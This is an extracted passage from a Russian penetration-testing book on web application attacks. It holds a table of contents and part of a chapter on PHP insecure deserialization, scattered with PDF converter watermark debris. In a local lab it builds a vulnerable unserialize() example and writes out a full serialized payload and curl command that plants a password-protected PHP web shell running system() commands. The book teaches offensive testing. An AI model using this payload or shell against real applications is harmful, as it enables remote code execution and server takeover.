- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
Глава 8 |
||||
|
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Вредоносная сериализация
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Сериализация объектов – интересная концепция в программировании, целью которой является извлечение структурированных реальных данных из памяти и обеспечение возможности их передачи по сети или их хранения гделибо для дальнейшего использования. Например, объект,такой как структура, отвечающая за соединение приложения с базой данных,может быть сериализован – преобразован в простой для передачи поток байтов, такой как строка
вудобочитаемом формате. Строковое представление этой структуры памяти теперь можно легко записать в текстовый файл или отправить в другое веб- приложениепоHTTP-протоколу.Затемсериализованнаястрокаданныхможет быть использована для создания в памяти экземпляра объекта соединения с базой данных с предварительно заполненными свойствами, такими как имя базы данных или учетные данные.Принимающее веб-приложение может воссоздать исходную структуру путем десериализации строки байтов. Сериализацию еще называют маршалингом, «консервацией» (pickling) или выравниванием. Она используется во многих языках, в том числе в Java, PHP, Python и Ruby.
Взависимости от языка сериализованные данные могут быть представлены
ввиде текста в удобочитаемом формате, двоичного потока или их комбинации. Существует множество применений сериализации объектов, таких как межпроцессное и межсистемное взаимодействие, кеширование данных или их сохраняемость.
Вэтой главе мы рассмотрим следующие темы:
процесс десериализации;анализ кода уязвимого приложения;
использование десериализации для достижения выполнения кода.
Использование десериализации
Использование десериализации базируется на встроенных методах, которые выполняются автоматически, когда объект создается или уничтожается. Например, PHP предоставляет несколько таких методов для каждого объекта:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
__construct(); |
||
|
|
|
df |
|
|
n |
e |
|||||
|
|
|
|
-xcha |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
Использование десериализации
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
187 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
__destruct();__toString();__wakeup()
и т.д.
При создании нового объекта вызывается метод __construct(). Когда новый объект уничтожается или когда собирают мусор, метод __destruct() выполняется автоматически. Метод __toString() предоставляет способ преобразования объекта в строку. Это отличается от сериализации, поскольку не существует метода, чтобы прочитать данные обратно, например что-то вроде __fromString(). Метод __wakeup() выполняется,когда объектдесериализуется и создается в памяти.
PHP предоставляет возможности сериализации с помощью функций serialize() и unserialize(). Вывод представляет собой строку в удобочитаемом формате, которую можно легко передать по HTTP или другим протоколам. Вывод строки описывает объект, его свойства и значения. PHP может сериализовать логические, массивные, целочисленные, двойные и строковые переменные и даже инстанцированные классы (объекты).
В приведенном ниже примере попытаемся сериализовать простой объект array, содержащий две пары типа «ключ–значение»: database со значением users и host со значением 127.0.0.1. Исходный код для создания этой структуры массива в памяти выглядиттак:
array(
'database' => 'users', 'host' => '127.0.0.1'
)
Когда исходный код компилируется и выполняется механизмом PHP,объект array сохраняется в структуре памяти где-то в оперативном запоминающем устройстве, и только процессор знает, как получить к нему доступ. Если нам нужно передать массив на другую машину, например по HTTP-протоколу, необходимо найти все байты в памяти, которые представляют его, упаковать их иотправить,используяGET-запросиличто-либоаналогичное.Вотздесьвдело вступает сериализация.
Функция serialize() в PHP делает для нас именно это: находит структуру массивавпамятиивозвращаетеестроковоепредставление.Можнопроверить это с помощью двоичного файла php на машине с Linux и с помощью опции -r попросить его сериализоватьнаш массив и вернутьстроку.PHP-код отобразит результаты на экране.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 188 Глава 8.Вредоносная сериализация |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
root@kali:~# php -r "echo serialize(array('database' => 'users', |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
'host' => '127.0.0.1'));" a:2:{s:8:"database";s:5:"users";s:4:"host";s:9:"127.0.0.1";}
Вывод, разделенный двоеточием, следует читатьтак:
сериализованные данные, которые идутдалее, являются массивом (a);в массиве есть два элемента;элементы заключены в фигурные скобки ({}) и разделены точкой с за-
пятой (;);
первый ключ элемента – это строка (s) длиной 8 с именем database. Его значение – строка (s) длиной 5:users;
второй ключ – это строка (s) длиной 4 с именем host. Его значение – строка (s) длиной 9:127.0.0.1.
Эти сериализованные данные могут использоваться совместно разными системами в сети или храниться в базе данных. После получения структуру массива можно перестроить (конвертировать), используя уже заполненные значения.Сериализованные объекты,созданные из классов,ничем не отличаются от объектов массива, они просто содержат еще несколько полей в сериализованном результате.
Возьмем класс WriteLock, целью которого является создание файла блокировки в каталоге /tmp после его десериализации. Это приложение будет хра-
ниться в каталоге /var/www/html/lockapp.
Ниже приводится код класса WriteLock.
Рис.8.1. Определение класса WriteLock
Возможно, он выглядит несколько устрашающе для тех, кто не относит себя кразработчикам,нонасамомделездесьнетничегосложного.КлассWriteLock содержит две общедоступные функции (или метода): write() и __wakeup(). Функция write() записывает строку app_in_use в файл /tmp/lockfile на
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Использование десериализации 189 BUY |
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
диске, используя встроенную функцию file_put_contents. Метод __wakeup() |
|
|
e |
|
|||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
просто проверяет свойства и выполняет функцию write() в текущем объекте |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
($this). Идея заключается в том, что файл блокировки, /tmp/lockfile, будет |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
созданавтоматически,когдаобъектWriteLock будетвоссозданвпамятипутем |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
десериализации. |
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
Вначале мы видим, как выглядит объект WriteLock, когда он сериализован |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
и готов к передаче. Помните, что метод __wakeup() будет выполняться только |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
при десериализации, а не при создании объекта. |
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
В приведенный ниже код будет входить определение WriteLock, чтобы мы |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
могли создать объект $lock из класса WriteLock с помощью ключевого сло- |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
ва new. Последняя строка кода отобразит или вернет сериализованный объект |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
$lock на экран для проверки. |
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
Ниже приводится содержимое файла serialize.php, используемого для |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
тестирования |
. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Рис.8.2. Исходный код для сериализации объекта WriteLock
Вывод сериализованного объекта $lock выглядиттак же,как в предыдущем примере с массивом. Для ясности скажем, что следующий далее код был очищен и содержит отступы, однако типичный сериализованный объект не будет содержать форматирование,такое как отступы и переводы строки.
Выполним файл serialize.php с использованием интерпретатора php и посмотрим на результат.
root@kali:/var/www/html/lockapp# php serialize.php
O:9:"WriteLock":2:{
s:4:"file";
s:13:"/tmp/lockfile";
s:8:"contents"; s:10:"app_in_use";
}
Первые несколько байтов обозначают созданный из класса WriteLock объект (o),который содержитдва свойства,а также их соответствующие значения и длины. Следует отметить один момент: для закрытых (private) членов клас-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 190 Глава 8.Вредоносная сериализация |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
сов к именам добавляется имя класса, заключенное в нулевые байты. Если бы |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
свойства класса WriteLock $file и $content были закрытыми, сериализованный объект выглядел бы так:
O:9:"WriteLock":2:{ s:4:"\x00WriteLock\x00file";
s:13:"/tmp/lockfile"; s:8:"\x00WriteLock\x00contents";
s:10:"app_in_use";
}
Нулевые байты обычно не видны в стандартном выводе. В предыдущем примере байты были заменены их шестнадцатеричным эквивалентом \x00 для ясности. Если в нашу полезную нагрузку входят закрытые члены, нам, возможно, понадобится учесть эти байты при передаче нагрузок с помощью средств,которые интерпретируют нулевые байты в качестве ограничителей строки. Как правило, когда речь идет о HTTP, можно экранировать нулевые байты, используя знак процента, который предшествует шестнадцатеричному представлению нуля, 00. Вместо \x00 в случае с HTTP просто будем использовать %00.
Ниже приведен пример уязвимой реализации класса WriteLock. Код получает сериализованный объект WriteLock через суперглобальную переменную $_GET. Параметром, содержащим сериализованный объект, является lock, который хранится в переменной с именем $data. Этот сериализованный объект затем десериализуется с помощью функции unserialize() в попытке восстановить состояние объекта WriteLock в памяти.
Приведенный ниже код будет храниться в файле index.php. Он иллюстрирует уязвимую реализацию десериализации объекта,которую мы попытаемся эксплуатировать. Данные в переменной $_GET поступают непосредственно из пользовательского ввода и передаются как есть в функцию unserialize()/.
Рис.8.3. Исходный код десериализации объекта
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Использование десериализации 191 BUY |
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
На самом деле нельзя вызвать метод |
|
|
p |
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
e |
write(), предоставляемый классом |
|
|
e |
|
||||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
WriteLock при эксплуатации десериализации. У нас есть только контроль над свойствами нового объекта.Однако благодаря магическим методам PHP нам не нужно напрямую вызывать функцию write(), поскольку, как вы помните, метод __wakeup() делает это за нас. Магические методы вызываются автоматически на разных этапах жизненного цикла объекта: при создании,разрушении, восстановлении из сериализованного состояния (wakeup) или сериализации реальных данных (sleep).
В программировании, ориентированном на свойства (POP), цепочка гаджетов (gadget chain) – это последовательность методов из существующего кода, необходимая для успешного захвата потока выполнения приложения и выполнения злонамеренных действий. В нашем очень простом примере цепочка гаджетов, которую мы запускаем, представляет собой быстрый переход от магического метода __wakeup() к функции write().
Ниже показан поток выполнения последесериализации объекта с помощью функции unserialize().
Рис.8.4. POP-гаджет в классе WriteLock
Выглядитнеоченьвпечатляюще,ностехническойточкизренияэтоцепочка гаджетов.
Если мы контролируем только свойства объекта, $file и $contents, как эксплуатировать эту уязвимость? Что,если попытаться записать $contents в другой каталог и файл вместо /tmp? Поскольку мы контролируем оба этих значения, можем обработать наш сериализованный объект так, чтобы он указывал на файл в корневом каталоге приложения,например /var/www/html/lockapp/ shell.php, вместо временной папки и сделать его содержимое простой вебоболочкой. Когда наш вредоносный объект будет десериализован, метод __wakeup() принудительновызоветфункциюwrite() изнашейPHP-оболочки
в /var/www/html/lockapp/shell.php вместо /tmp/lockfile.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 192 Глава 8.Вредоносная сериализация |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Запустим простой веб-сервер и воплотим в жизнь приложение WriteLock. |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
Интерпретаторphpможетфункционироватькакавтономныйсерверразработки с параметром -S,так же как SimpleHTTPServer в Python,с дополнительным преимуществом – он отрабатывает файлы с расширением .php при запросе.
Мы можем использовать команду php для прослушивания на порту 8181 в локальной системе.
root@kali:/var/www/html/lockapp# php -S 0.0.0.0:8181 Listening on http://0.0.0.0:8181
Document root is /var/www/html/lockapp
Press Ctrl-C to quit.
Можноиспользоватьсериализованныйобъектизнашегопредыдущеготеста с serialize.php и просто слегка изменить его. Поменяем значение свойства
file на /var/www/html/lockapp/shell.php,а значение свойства contents –на код оболочки.
Какипрежде,будемиспользоватьтакойкодспростыммеханизмомзащиты пароля.
Рис.8.5. Исходный код веб-оболочки
Значение MD5, которое мы ищем,– это хеш WriteLockTest1, что подтверждается командой Linux md5sum.
root@kali:~# echo -n WriteLockTest1 | md5sum
5d58f5270ce02712e8a620a4cd7bc5d3 - root@kali:~#
Сериализованная полезная нагрузка будет выглядеть так. Код снова содержит отступы,чтобы его было удобно читать.
O:9:"WriteLock":2:{
s:4:"file"; s:31:"/var/www/html/lockapp/shell.php";
s:8:"contents";
s:100:"<?php if (md5($_GET['password']) == '5d58f5270ce02712e8a620a4cd7bc5d3') { system($_GET['cmd']); } ?>";
}
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Использование десериализации
Мы обновили значение свойств file и contents, а также длину строки, 31 и 100 соответственно. Если указанная длина не соответствует фактической длине значения свойства,атака завершится неудачно.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
193 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Чтобы эксплуатировать уязвимость десериализации в надежде разместить PHP-оболочку в корневом каталоге документов, можно использовать команду curl для передачи нашей полезной нагрузки через GET-запрос. Это заставит приложение десериализовать ненадежные данные и создать объект с опасными значениями свойств.
Мы можем вызвать команду curl, используя параметр -G, который дает указание выполнить GET-запрос, указать URL-адрес уязвимого приложения, а такжепередатьзначениеlock,закодированноеURLспомощьюопции--data-
urlencode.
Нашисериализованныеданныесодержатодинарныекавычки,которыемогут помешать выполнению curl с помощью командной строки bash. Нужно позаботиться о том,чтобы экранировать их,используя обратную косую черту (\ ').
root@kali:~# curl -G http://0.0.0.0:8181/index.php --data-urlencode $'lock=O:9:"WriteLock":2:
{s:4:"file";s:31:"/var/www/html/lockapp/shell.php";s:8:"contents"; s:100:"<?php if (md5($_GET[\'password\']) == \'5d58f5270ce02712e8a620a4cd7bc5d3\') { system($_GET[\'cmd\']); } ?>";}'
Lock initiated.
В ответ приложение выдает сообщение Lock initiated, как и ожидалось. Если эксплойт был успешным, мы должны получить доступ к оболочке через веб-браузер,поскольку файл shell.php был бы написан с использованием це-
почки __wakeup() -> write() в каталоге /var/www/html/lockapp.
Рис.8.6. Оболочка успешно выполняет программу id и отображает результат выполнения